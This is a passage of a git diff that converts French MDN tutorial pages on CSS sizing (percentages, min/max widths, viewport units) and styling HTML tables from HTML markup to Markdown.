l'intérieur de l'élément vide. Les bordures contiennent maintenant ce texte, car la hauteur de l'élément est définie par son contenu. De plus, la taille de cette <code><div></code> dans l'axe de bloc provient maintenant de la taille du contenu. Là aussi il s'agit de la taille intrinsèque de l'élément — sa taille est définie par son contenu.</p> +Nous pouvons bien entendu donner une taille spécifique aux éléments. Quand une taille est ainsi donnée à un élément (et que son contenu est adapté à cette taille), nous parlons de **taille extrinsèque**. Reprenons notre `<div>` de l'exemple précédent — nous pouvons lui donner une [`width`](/fr/docs/Web/CSS/width) spécifique et une [`height`](/fr/docs/Web/CSS/height) spécifique, l'élément a désormais une taille définie peu importe ce qui est placé à l'intérieur de celui-ci. Comme nous l'avons appris dans [notre précédente leçon sur le concept d'overflow,](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) une hauteur définie peut générer un débordement du contenu si celui-ci est plus important que l'espace alloué par son conteneur. -<h2 id="setting_a_specific_size">Spécifier une taille</h2> +{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}} -<p>Nous pouvons bien entendu donner une taille spécifique aux éléments. Quand une taille est ainsi donnée à un élément (et que son contenu est adapté à cette taille), nous parlons de <strong>taille extrinsèque</strong>. Reprenons notre <code><div></code> de l'exemple précédent — nous pouvons lui donner une <a href="/fr/docs/Web/CSS/width"><code>width</code></a> spécifique et une <a href="/fr/docs/Web/CSS/height"><code>height</code></a> spécifique, l'élément a désormais une taille définie peu importe ce qui est placé à l'intérieur de celui-ci. Comme nous l'avons appris dans <a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">notre précédente leçon sur le concept d'overflow,</a> une hauteur définie peut générer un débordement du contenu si celui-ci est plus important que l'espace alloué par son conteneur.</p> +Du fait de ce comportement parfois inattendu, fixer la hauteur d'un élément avec une longueur ou en pourcentage est une pratique à utiliser avec parcimonie sur le web. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}</p> +### Avec les pourcentages -<p>Du fait de ce comportement parfois inattendu, fixer la hauteur d'un élément avec une longueur ou en pourcentage est une pratique à utiliser avec parcimonie sur le web.</p> +De bien des manières, les pourcentages agissent de la même manière que les unités de longueur, et comme nous l'avons vu dans [la leçon sur les valeurs et unités en CSS](/fr/docs/Learn/CSS/Building_blocks/Values_and_units), ils peuvent souvent être utilisés de manière interchangeable avec les unités de longueur. Lorsque vous utilisez les pourcentages vous devez seulement être conscient de la valeur à laquelle se réfère le pourcentage. Si vous donnez à un bloc enfant une largeur définie en pourcentage, celui-ci correspond à un pourcentage de la largeur du conteneur parent. -<h3 id="using_percentages">Avec les pourcentages</h3> +{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}} -<p>De bien des manières, les pourcentages agissent de la même manière que les unités de longueur, et comme nous l'avons vu dans <a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">la leçon sur les valeurs et unités en CSS</a>, ils peuvent souvent être utilisés de manière interchangeable avec les unités de longueur. Lorsque vous utilisez les pourcentages vous devez seulement être conscient de la valeur à laquelle se réfère le pourcentage. Si vous donnez à un bloc enfant une largeur définie en pourcentage, celui-ci correspond à un pourcentage de la largeur du conteneur parent.</p> +En effet, les pourcentages sont déterminés en fonction de la taille de l'élément parent. Si aucun pourcentage n'est spécifié, notre `<div>` prendra 100% de l'espace disponible (car il s'agit du comportement par défaut d'un élément de type bloc). En revanche si nous lui donnons une largeur en pourcentage, ce pourcentage fera référence à l'espace que la ` <div``> ` aurait normalement occupé dans l'élément parent. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}</p> +### Marges et remplissage en pourcentages -<p>En effet, les pourcentages sont déterminés en fonction de la taille de l'élément parent. Si aucun pourcentage n'est spécifié, notre <code><div></code> prendra 100% de l'espace disponible (car il s'agit du comportement par défaut d'un élément de type bloc). En revanche si nous lui donnons une largeur en pourcentage, ce pourcentage fera référence à l'espace que la <code><div</code><code>></code> aurait normalement occupé dans l'élément parent.</p> +Si vous définissez les `margins` (marges extérieures) et les `paddings` (marges intérieurs) avec des pourcentages, vous noterez un comportement inattendu. Dans l'exemple ci-dessous nous avons une boite. Nous avons défini la propriété [`margin`](/fr/docs/Web/CSS/margin) à 10% et la propriété [`padding`](/fr/docs/Web/CSS/padding) à 10% également. Les marges intérieures et extérieures sur le haut et le bas de la boite ont la même taille que les marges extérieures sur la gauche et la droite. -<h3 id="percentage_margins_and_padding">Marges et remplissage en pourcentages</h3> +{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}} -<p>Si vous définissez les <code>margins</code> (marges extérieures) et les <code>paddings</code> (marges intérieurs) avec des pourcentages, vous noterez un comportement inattendu. Dans l'exemple ci-dessous nous avons une boite. Nous avons défini la propriété <a href="/fr/docs/Web/CSS/margin"><code>margin</code></a> à 10% et la propriété <a href="/fr/docs/Web/CSS/padding"><code>padding</code></a> à 10% également. Les marges intérieures et extérieures sur le haut et le bas de la boite ont la même taille que les marges extérieures sur la gauche et la droite.</p> +On pourrait s'attendre, par exemple, à ce que le pourcentage des marges supérieures et inférieures soit un pourcentage de la hauteur de l'élément, et que le pourcentage des marges gauche et droite soit un pourcentage de la largeur de l'élément. Or, ce n'est pas le cas ! -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}</p> +Lorsque vous utilisez des marges et des remplissages définis en pourcentages, la valeur est calculée à partir de la **taille en ligne** — donc de la largeur lorsque vous travaillez dans un langage horizontal. Dans notre exemple, toutes les marges et tous les renforts représentent 10 % de la largeur. Cela signifie que vous pouvez avoir des marges et un remplissage de taille égale tout autour de la boîte. C'est un fait dont il faut se souvenir si vous utilisez les pourcentages de cette manière. -<p>On pourrait s'attendre, par exemple, à ce que le pourcentage des marges supérieures et inférieures soit un pourcentage de la hauteur de l'élément, et que le pourcentage des marges gauche et droite soit un pourcentage de la largeur de l'élément. Or, ce n'est pas le cas !</p> +## Tailles min- et max- -<p>Lorsque vous utilisez des marges et des remplissages définis en pourcentages, la valeur est calculée à partir de la <strong>taille en ligne</strong> — donc de la largeur lorsque vous travaillez dans un langage horizontal. Dans notre exemple, toutes les marges et tous les renforts représentent 10 % de la largeur. Cela signifie que vous pouvez avoir des marges et un remplissage de taille égale tout autour de la boîte. C'est un fait dont il faut se souvenir si vous utilisez les pourcentages de cette manière.</p> +En plus de donner aux choses une taille fixe, nous pouvons demander à CSS de donner à un élément une taille minimale ou maximale. Si vous avez une boîte qui pourrait contenir une quantité variable de contenu, et que vous voulez toujours qu'elle ait _au moins_ une certaine hauteur, vous pourriez lui attribuer la propriété [`min-height`](/fr/docs/Web/CSS/min-height). La boîte sera toujours, au minimum, de cette hauteur, mais deviendra plus grande s'il y a plus de contenu que la boîte que sa hauteur minimale. -<h2 id="min-_and_max-_sizes">Tailles min- et max-</h2> +Dans l'exemple ci-dessous, vous pouvez voir deux boîtes, toutes deux ayant une hauteur définie de 150 pixels. La boîte de gauche a une hauteur de 150 pixels ; la boîte de droite a un contenu qui a besoin de plus d'espace, et elle est donc devenue plus haute que 150 pixels. -<p>En plus de donner aux choses une taille fixe, nous pouvons demander à CSS de donner à un élément une taille minimale ou maximale. Si vous avez une boîte qui pourrait contenir une quantité variable de contenu, et que vous voulez toujours qu'elle ait <em>au moins</em> une certaine hauteur, vous pourriez lui attribuer la propriété <a href="/fr/docs/Web/CSS/min-height"><code>min-height</code></a>. La boîte sera toujours, au minimum, de cette hauteur, mais deviendra plus grande s'il y a plus de contenu que la boîte que sa hauteur minimale.</p> +{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}} -<p>Dans l'exemple ci-dessous, vous pouvez voir deux boîtes, toutes deux ayant une hauteur définie de 150 pixels. La boîte de gauche a une hauteur de 150 pixels ; la boîte de droite a un contenu qui a besoin de plus d'espace, et elle est donc devenue plus haute que 150 pixels.</p> +C'est très utile pour traiter des quantités variables de contenu tout en évitant les débordements. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}</p> +Une utilisation courante de [`max-width`](/fr/docs/Web/CSS/max-width) consiste à faire en sorte que les images soient réduites si l'espace est insuffisant pour les afficher à leur largeur intrinsèque, tout en s'assurant qu'elles ne deviennent pas plus grandes que cette largeur. -<p>C'est très utile pour traiter des quantités variables de contenu tout en évitant les débordements.</p> +À titre d'exemple, si vous définissiez `width: 100%` sur une image, et que sa largeur intrinsèque était inférieure à son conteneur, l'image serait forcée de s'étirer et de s'agrandir, ce qui lui donnerait un aspect pixelisé. Si sa largeur intrinsèque était supérieure à celle de son conteneur, elle le déborderait. Aucun des deux cas n'est susceptible de correspondre à ce que vous souhaitez. -<p>Une utilisation courante de <a href="/fr/docs/Web/CSS/max-width"><code>max-width</code></a> consiste à faire en sorte que les images soient réduites si l'espace est insuffisant pour les afficher à leur largeur intrinsèque, tout en s'assurant qu'elles ne deviennent pas plus grandes que cette largeur.</p> +Si vous utilisez plutôt `max-width : 100%`, l'image est capable de devenir plus petite que sa taille intrinsèque, mais s'arrêtera à 100% de sa taille. -<p>À titre d'exemple, si vous définissiez <code>width: 100%</code> sur une image, et que sa largeur intrinsèque était inférieure à son conteneur, l'image serait forcée de s'étirer et de s'agrandir, ce qui lui donnerait un aspect pixelisé. Si sa largeur intrinsèque était supérieure à celle de son conteneur, elle le déborderait. Aucun des deux cas n'est susceptible de correspondre à ce que vous souhaitez.</p> +Dans l'exemple ci-dessous, nous avons utilisé trois fois la même image. La première image a reçu le `width: 100%` et se trouve dans un conteneur plus grand qu'elle, elle s'étire donc à la largeur du conteneur. La deuxième image a été dotée du `max-width : 100%` et ne s'étire donc pas pour remplir le conteneur. La troisième boîte contient à nouveau la même image, également avec `max-width : 100%` défini ; dans ce cas, vous pouvez voir comment elle a été réduite pour entrer dans le conteneur. -<p>Si vous utilisez plutôt <code>max-width : 100%</code>, l'image est capable de devenir plus petite que sa taille intrinsèque, mais s'arrêtera à 100% de sa taille.</p> +{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}} -<p>Dans l'exemple ci-dessous, nous avons utilisé trois fois la même image. La première image a reçu le <code>width: 100%</code> et se trouve dans un conteneur plus grand qu'elle, elle s'étire donc à la largeur du conteneur. La deuxième image a été dotée du <code>max-width : 100%</code> et ne s'étire donc pas pour remplir le conteneur. La troisième boîte contient à nouveau la même image, également avec <code>max-width : 100%</code> défini ; dans ce cas, vous pouvez voir comment elle a été réduite pour entrer dans le conteneur.</p> +Cette technique est utilisée pour rendre les images _responsive_, de sorte que lorsqu'elles sont visualisées sur un appareil plus petit, elles sont réduites de manière appropriée. Vous ne devez cependant pas utiliser cette technique pour charger des images vraiment grandes et les réduire ensuite dans le navigateur. Les images doivent être correctement dimensionnées pour ne pas être plus grandes qu'elles ne doivent l'être pour la plus grande taille à laquelle elles sont affichées dans la conception. Le téléchargement d'images trop grandes ralentira votre site et peut coûter plus cher aux utilisateurs s'ils disposent d'une connexion limitée. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}</p> +> **Note :** En savoir plus sur [les techniques d'images responsives](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images). -<p>Cette technique est utilisée pour rendre les images <em>responsive</em>, de sorte que lorsqu'elles sont visualisées sur un appareil plus petit, elles sont réduites de manière appropriée. Vous ne devez cependant pas utiliser cette technique pour charger des images vraiment grandes et les réduire ensuite dans le navigateur. Les images doivent être correctement dimensionnées pour ne pas être plus grandes qu'elles ne doivent l'être pour la plus grande taille à laquelle elles sont affichées dans la conception. Le téléchargement d'images trop grandes ralentira votre site et peut coûter plus cher aux utilisateurs s'ils disposent d'une connexion limitée.</p> +## Unités de la fenêtre d'affichage -<div class="note"> - <p><strong>Note :</strong> En savoir plus sur <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">les techniques d'images responsives</a>.</p> -</div> +La fenêtre — la surface de la page montrée par le navigateur lorsqu'on navigue sur un site — a aussi des dimensions. Certaines unités CSS sont dédiées à la description des dimensions de la fenêtre — `vw` pour _viewport width_ (largeur de la fenêtre), et `vh` pour _viewport height_ (hauteur de la fenêtre). Grâce à ces unités vous pouvez dimensionner un objet en fonction de la fenêtre de l'utilisateur. -<h2 id="viewport_units">Unités de la fenêtre d'affichage</h2> +`1vh` correspond à 1% de la hauteur de la fenêtre, `1vw` à 1% sa largeur. Avec ces unités, on peut dimensionner des boîtes aussi bien que du texte. Dans l'exemple ci-dessous, la boîte a pour dimensions 20vh et 20vw. Elle contient la lettre `A`, de [`font-size`](/fr/docs/Web/CSS/font-size) 10vh. -<p>La fenêtre — la surface de la page montrée par le navigateur lorsqu'on navigue sur un site — a aussi des dimensions. Certaines unités CSS sont dédiées à la description des dimensions de la fenêtre — <code>vw</code> pour <em>viewport width</em> (largeur de la fenêtre), et <code>vh</code> pour <em>viewport height </em>(hauteur de la fenêtre). Grâce à ces unités vous pouvez dimensionner un objet en fonction de la fenêtre de l'utilisateur.</p> +{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}} -<p><code>1vh</code> correspond à 1% de la hauteur de la fenêtre, <code>1vw</code> à 1% sa largeur. Avec ces unités, on peut dimensionner des boîtes aussi bien que du texte. Dans l'exemple ci-dessous, la boîte a pour dimensions 20vh et 20vw. Elle contient la lettre <code>A</code>, de <a href="/fr/docs/Web/CSS/font-size"><code>font-size</code></a> 10vh.</p> +Si vous changez les valeurs `vh` et `vw`, cela modifiera la taille du conteneur ou de la police ; changer la taille de la fenêtre modifiera également leurs tailles, car elles sont dimensionnées par rapport à la fenêtre de vue. Pour voir l'exemple changer lorsque vous modifiez la taille de la fenêtre, vous devrez charger l'exemple dans une nouvelle fenêtre de navigateur que vous pouvez redimensionner (car le `<iframe>` intégré qui contient l'exemple montré ci-dessus est sa fenêtre de vue). [Ouvrez l'exemple](https://mdn.github.io/css-examples/learn/sizing/vw-vh.html), redimensionnez la fenêtre du navigateur et observez ce qui se passe pour la taille de la boîte et du texte. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}</p> +Dimensionner les objets en fonction de la fenêtre peut s'avérer utile. Par exemple, pour afficher la section principale en pleine page, il suffit de lui attribuer 100vh, cela poussera le reste du contenu sous la fenêtre ; le reste du contenu n'apparaîtra qu'en la faisant défiler. -<p>Si vous changez les valeurs <code>vh</code> et <code>vw</code>, cela modifiera la taille du conteneur ou de la police ; changer la taille de la fenêtre modifiera également leurs tailles, car elles sont dimensionnées par rapport à la fenêtre de vue. Pour voir l'exemple changer lorsque vous modifiez la taille de la fenêtre, vous devrez charger l'exemple dans une nouvelle fenêtre de navigateur que vous pouvez redimensionner (car le <code><iframe></code> intégré qui contient l'exemple montré ci-dessus est sa fenêtre de vue). <a href="https://mdn.github.io/css-examples/learn/sizing/vw-vh.html">Ouvrez l'exemple</a>, redimensionnez la fenêtre du navigateur et observez ce qui se passe pour la taille de la boîte et du texte.</p> +## Testez vos compétences ! -<p>Dimensionner les objets en fonction de la fenêtre peut s'avérer utile. Par exemple, pour afficher la section principale en pleine page, il suffit de lui attribuer 100vh, cela poussera le reste du contenu sous la fenêtre ; le reste du contenu n'apparaîtra qu'en la faisant défiler.</p> +Nous avons abordé beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez retenu ces informations avant de passer à autre chose — voir [Tester vos compétences : Dimensionnement](/fr/docs/Learn/CSS/Building_blocks/Sizing_tasks). -<h2 id="test_your_skills">Testez vos compétences !</h2> +## Résumé -<p>Nous avons abordé beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez retenu ces informations avant de passer à autre chose — voir <a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_tasks">Tester vos compétences : Dimensionnement</a>.</p> +Cette leçon a voulu vous sensibiliser aux difficultés principales qu'on rencontre dès qu'on veut donner une dimension aux objets sur le Web. Lorsque vous verrez [les dispositions en CSS](/fr/docs/Learn/CSS/CSS_layout), le dimensionnement deviendra crucial pour maîtriser les différents modes de disposition : autant en comprendre les concepts avant d'aller plus loin. -<h2 id="summary">Résumé</h2> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}} -<p>Cette leçon a voulu vous sensibiliser aux difficultés principales qu'on rencontre dès qu'on veut donner une dimension aux objets sur le Web. Lorsque vous verrez <a href="/fr/docs/Learn/CSS/CSS_layout">les dispositions en CSS</a>, le dimensionnement deviendra crucial pour maîtriser les différents modes de disposition : autant en comprendre les concepts avant d'aller plus loin.</p> +## Dans ce module -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</p> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<h2 id="in_this_module">Dans ce module</h2> + - [Sélecteurs de type, de classe et d'ID](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attributs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de type, de classe et d'ID</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Sélecteurs d'attributs</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">Le modèle de boîte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arrière-plans et bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gestion de différentes directions de texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Débordements de contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Définir la taille des éléments en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias et éléments de formulaire</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mise en page de tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Débogage de CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser votre CSS</a></li> -</ol> +3. [Le modèle de boîte](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Arrière-plans et bordures](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gestion de différentes directions de texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Débordements de contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Définir la taille des éléments en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias et éléments de formulaire](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mise en page de tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Débogage de CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser votre CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/styling_tables/index.md b/files/fr/learn/css/building_blocks/styling_tables/index.md index 2543732c2a..253f8338c6 100644 --- a/files/fr/learn/css/building_blocks/styling_tables/index.md +++ b/files/fr/learn/css/building_blocks/styling_tables/index.md @@ -13,93 +13,102 @@ tags: translation_of: Learn/CSS/Building_blocks/Styling_tables original_slug: Apprendre/CSS/Building_blocks/Styling_tables --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}} -<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</div> - -<p>Styliser un tableau HTML n'est pas le travail le plus passionnant au monde, mais ... quelquefois nous devons le faire. Cet article est un guide pour donner un bel aspect aux tableaux HTML à l'aide des fonctionnalités détaillées dans les articles précédents.</p> +Styliser un tableau HTML n'est pas le travail le plus passionnant au monde, mais ... quelquefois nous devons le faire. Cet article est un guide pour donner un bel aspect aux tableaux HTML à l'aide des fonctionnalités détaillées dans les articles précédents. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Notions de HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>), tableaux en HTML (voir le module sur les tableaux HTML (TBD)) et une idée du fonctionnement des CSS (voir <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction aux CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre à donner effectivement un style aux tableaux HTML.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Notions de HTML (voir + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >), tableaux en HTML (voir le module sur les tableaux HTML (TBD)) et une + idée du fonctionnement des CSS (voir + <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction aux CSS</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Apprendre à donner effectivement un style aux tableaux HTML.</td> + </tr> + </tbody> </table> -<h2 id="Un_tableau_HTML_typique">Un tableau HTML typique</h2> - -<p>Commençons par un tableau HTML typique. Bien, je dis typique — la plupart des exemples de tableaux HTML concernent des chaussures, ou le temps, ou des employés ... nous avons décidé de faire quelque chose de plus intéressant et notre tableau se rapportera aux célèbres groupes punk du Royaume Uni. Le balisage ressemble à quelque chose comme ceci :</p> - -<pre class="brush: html"><table> - <caption>Récapitulatif des groupes punk les plus célébres du RU</caption> - <thead> - <tr> - <th scope="col">Groupe</th> - <th scope="col">Année de formation</th> - <th scope="col">Nombre d'albums</th> - <th scope="col">Morceau le plus célèbre</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">Buzzcocks</th> - <td>1976</td> - <td>9</td> - <td>Ever fallen in love (with someone you shouldn't've)</td> - </tr> - <tr> - <th scope="row">The Clash</th> - <td>1976</td> - <td>6</td> - <td>London Calling</td> - </tr> +## Un tableau HTML typique + +Commençons par un tableau HTML typique. Bien, je dis typique — la plupart des exemples de tableaux HTML concernent des chaussures, ou le temps, ou des employés ... nous avons décidé de faire quelque chose de plus intéressant et notre tableau se rapportera aux célèbres groupes punk du Royaume Uni. Le balisage ressemble à quelque chose comme ceci : + +```html +<table> + <caption>Récapitulatif des groupes punk les plus célébres du RU</caption> + <thead> + <tr> + <th scope="col">Groupe</th> + <th scope="col">Année de formation</th> + <th scope="col">Nombre d'albums</th> + <th scope="col">Morceau le plus célèbre</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">Buzzcocks</th> + <td>1976</td> + <td>9</td> + <td>Ever fallen in love (with someone you shouldn't've)</td> + </tr> + <tr> + <th scope="row">The Clash</th> + <td>1976</td> + <td>6</td> + <td>London Calling</td> + </tr> ... quelques lignes supprimées pour condenser le texte - <tr> - <th scope="row">The Stranglers</th> - <td>1974</td> - <td>17</td> - <td>No More Heroes</td> - </tr> - </tbody> - <tfoot> - <tr> - <th scope="row" colspan="2">Total albums</th> - <td colspan="2">77</td> - </tr> - </tfoot> -</table></pre> + <tr> + <th scope="row">The Stranglers</th> + <td>1974</td> + <td>17</td> + <td>No More Heroes</td> + </tr> + </tbody> + <tfoot> + <tr> + <th scope="row" colspan="2">Total albums</th> + <td colspan="2">77</td> + </tr> + </tfoot> +</table> +``` + +Le tableau est bien balisé, facile à disposer et accessible, remercions les fonctionnalités {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, etc. Malheureusement, il n'a pas un rendu bien terrible à l'écran (voyez‑le directement ici [punk-bands-unstyled.html](http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html)) : -<p>Le tableau est bien balisé, facile à disposer et accessible, remercions les fonctionnalités {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, etc. Malheureusement, il n'a pas un rendu bien terrible à l'écran (voyez‑le directement ici <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a>) :</p> + -<p><img alt="Liste des groupes punk du Royaume Uni" src="punk.png"></p> +Il est d'aspect resserré, difficile à lire et austère. Utilisons une règle CSS pour corriger cela. -<p>Il est d'aspect resserré, difficile à lire et austère. Utilisons une règle CSS pour corriger cela.</p> +## Mettre en forme notre tableau -<h2 id="Mettre_en_forme_notre_tableau">Mettre en forme notre tableau</h2> +Dans cette section d'apprentissage actif, nous allons travailler le style de l'exemple de tableau ci-dessus. -<p>Dans cette section d'apprentissage actif, nous allons travailler le style de l'exemple de tableau ci-dessus.</p> +1. Pour débuter, faites une copie locale de l'[exemple de balisage](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html), téléchargez les images ([noise.png](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png) et [leopardskin.jpg](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg)) et placez les trois fichiers dans un répertoire de travail quelque part sur votre ordinateur. +2. Ensuite, créez un nouveau fichier nommé `style.css` et enregistrez‑le dans le même répertoire que les autres fichiers. +3. Liez le CSS au HTML en mettant la ligne suivante dans l'élément {{htmlelement("head")}} : -<ol> - <li>Pour débuter, faites une copie locale de l'<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html">exemple de balisage</a>, téléchargez les images (<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">noise.png</a> et <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">leopardskin.jpg</a>) et placez les trois fichiers dans un répertoire de travail quelque part sur votre ordinateur.</li> - <li>Ensuite, créez un nouveau fichier nommé <code>style.css</code> et enregistrez‑le dans le même répertoire que les autres fichiers.</li> - <li>Liez le CSS au HTML en mettant la ligne suivante dans l'élément {{htmlelement("head")}} : - <pre class="brush: html"><link href="style.css" rel="stylesheet" type="text/css"></pre> - </li> -</ol> + ```html + <link href="style.css" rel="stylesheet" type="text/css"> + ``` -<h3 id="Espacement_et_disposition">Espacement et disposition</h3> +### Espacement et disposition -<p>La première chose à faire est de modifier l'espacement et la disposition — le style par défaut du tableau est tellement resserré ! Pour ce faire, ajoutez la règle CSS suivante au fichier <code>style.css</code> :</p> +La première chose à faire est de modifier l'espacement et la disposition — le style par défaut du tableau est tellement resserré ! Pour ce faire, ajoutez la règle CSS suivante au fichier `style.css` : -<pre class="brush: css">/* espacement */ +```css +/* espacement */ table { table-layout: fixed; @@ -126,38 +135,41 @@ thead th:nth-child(4) { th, td { padding: 20px; -}</pre> +} +``` -<p>Voici les choses les plus importantes à noter :</p> +Voici les choses les plus importantes à noter : -<p>Nous mettons un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous voulons encadrer l'en-tête et le pied de page du tableau plus tard — si vous n'avez pas d'encadrement général du tableau et terminez avec un espacement, l'apparence est insolite et peu cohérente.</p> +Nous mettons un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous voulons encadrer l'en-tête et le pied de page du tableau plus tard — si vous n'avez pas d'encadrement général du tableau et terminez avec un espacement, l'apparence est insolite et peu cohérente. -<ul> - <li>Définir pour le tableau la valeur <code>fixed</code> pour {{cssxref("table-layout")}} est généralement une bonne idée, car cela rend le comportement par défaut du tableau un peu plus prévisible. Normalement, les colonnes des tableaux sont dimensionnées en fonction de leur contenu, ce qui produit des résultats étranges. Avec <code>table-layout: fixed</code>, vous pouvez dimensionner les colonnes selon la largeur de leurs en-têtes, puis traiter leur contenu comme il convient. C'est pourquoi nous sélectionnons les quatre en-têtes distinctement avec le sélecteur <code>thead th:nth-child(n)</code> ({{cssxref(":nth-child")}}) (« sélectionner le nième élément enfant {{htmlelement("th")}} dans la liste à l'intérieur de l'élément {{htmlelement("thead")}} ») et leur donnons un pourcentage de largeur défini. Chaque colonne prend la largeur de son en‑tête, ce qui permet de bien dimensionner les colonnes du tableau. Chris Coyier expose cette technique de façon détaillée dans <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br> - 